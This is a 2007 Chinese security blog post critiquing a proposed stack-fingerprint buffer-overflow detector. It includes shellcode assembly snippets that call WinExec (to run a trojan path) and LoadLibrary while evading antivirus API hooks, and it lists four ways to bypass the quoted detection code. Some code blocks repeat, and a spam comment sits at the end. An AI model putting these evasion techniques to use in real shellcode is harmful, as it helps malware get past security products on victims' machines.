[Tips]点评"基于栈指纹检测缓冲区溢出的一点思路"
by czy
2007-08-08
http://www.ph4nt0m.org
《基于栈指纹检测缓冲区溢出的一点思路》原文 (by gyzy)
http://www.xfocus.net/articles/200708/936.html
呵呵,难得看到有兄弟敢写这么高深的技术.
1.绕过KABA和MCAFEE的技巧,就不多说了,除了把SC移到PEB中执行我觉得最简单的办法就是在SHELLCODE中尽量不调用 getprocaddress和loadlibrary,取API地址可以用HASH比较,取DLL基地址可以通过PEB.最主要的WINEXEC可以用如下办法:
CALL @@nextsc
@@nextsc:
add byte ptr [esp],0DH
push 1 ;FOR TEST
push esi ;ESI指向要运行的木马的路径
push [edi+28h] ;RET
JMP dword ptr [edi+8h] ;winexec,'c:\xxx',1
@@nextsc:
add byte ptr [esp],0DH
push 1 ;FOR TEST
push esi ;ESI指向要运行的木马的路径
push [edi+28h] ;RET
JMP dword ptr [edi+8h] ;winexec,'c:\xxx',1
简单的说就是在调用winexec之前先压入getcurrentprocess函入的入口地址,或是其它的在KERNEL32.DLL中,没有参数且代码特别简单的函数.
getcurrentprocess的代码只有如下两行:
83 C8 FF or eax,-1
C3 ret
当然如果SC中必须调用漏洞程序中没有加载的DLL中的函数时可以用如下办法来调用LOADLIBRARY
CALL @@nextsc1
@@nextsc1:
add byte ptr [esp],0xH
push esi ;ESI指向要加载的DLL名
mov eax, [edi+28h] ;RET
add eax,3
push eax
JMP dword ptr [edi+xh] ;loadlibrary,'xxxx'
@@nextsc1:
add byte ptr [esp],0xH
push esi ;ESI指向要加载的DLL名
mov eax, [edi+28h] ;RET
add eax,3
push eax
JMP dword ptr [edi+xh] ;loadlibrary,'xxxx'
2.SC中真的有指纹吗?
GYZY兄的办法我觉得有多个地方可以破突.
HMODULE WINAPI MyLoadLibraryA(LPCTSTR lpFileName)
{
DWORD stackbase,stacklimit,retaddr;
__asm{
mov eax,dword ptr [esp+0x1c]
mov retaddr,eax
mov eax,dword ptr fs:[4]
mov stackbase,eax
mov eax,dword ptr fs:[8]
mov stacklimit,eax
}
if ( retaddr < stacklimit && retaddr > stackbase )
{
overflow:
MessageBox(0,"BufferOverflow Detected!","gyzy",MB_ICONINFORMATION);
return NULL;
}
//0x64 0xA1 0x30 0x00 0x00 0x00
__asm{
push 0x100
pop ecx
mov esi,esp
compare:
cmp dword ptr [esi],0x0030A164 //检测mov eax,fs:[30]
je overflow
inc esi
loop compare
}
return fLoadLibraryA(lpFileName);
}
{
DWORD stackbase,stacklimit,retaddr;
__asm{
mov eax,dword ptr [esp+0x1c]
mov retaddr,eax
mov eax,dword ptr fs:[4]
mov stackbase,eax
mov eax,dword ptr fs:[8]
mov stacklimit,eax
}
if ( retaddr < stacklimit && retaddr > stackbase )
{
overflow:
MessageBox(0,"BufferOverflow Detected!","gyzy",MB_ICONINFORMATION);
return NULL;
}
//0x64 0xA1 0x30 0x00 0x00 0x00
__asm{
push 0x100
pop ecx
mov esi,esp
compare:
cmp dword ptr [esi],0x0030A164 //检测mov eax,fs:[30]
je overflow
inc esi
loop compare
}
return fLoadLibraryA(lpFileName);
}
上面是他的核心代码吧,原理应该是:先在每次调用LOADLIBRARY的时候得到当前调用线程的线程栈的
地址范围,前面的办法这儿可以很简单的突破.然后从ESP开始往高地址走100个字节,检测有没有mov eax,fs:[30]
突破1:只检查了ESP往高地址100个字节,在SC中可以在调用所有API之前先把ESP减1000h(也许可以更大要看具体情况)
突破2:SC完可能不在栈中,而在堆或是PEB中.
突破3:检测mov eax,fs:[30],这个指令的变形办法实在太多了.如果都要检测的话,我看不现实,起码严重影响性能.
突破4:不管你检测什么指令,我在调用这个指令之后,调用被HOOK的API之前我都可以把这个指令修改成NOP,只要这个指令不会再被调用.
3.在我看来检测技术不但要检测返回地址的范围,还要检测一下返回地址里的指令是不是C3或是C2 XX XX,这样还要好一点点.
起码可以把SWANCALL消灭掉.
1 条评论:
بلیط لحظه آخری کیش
发表评论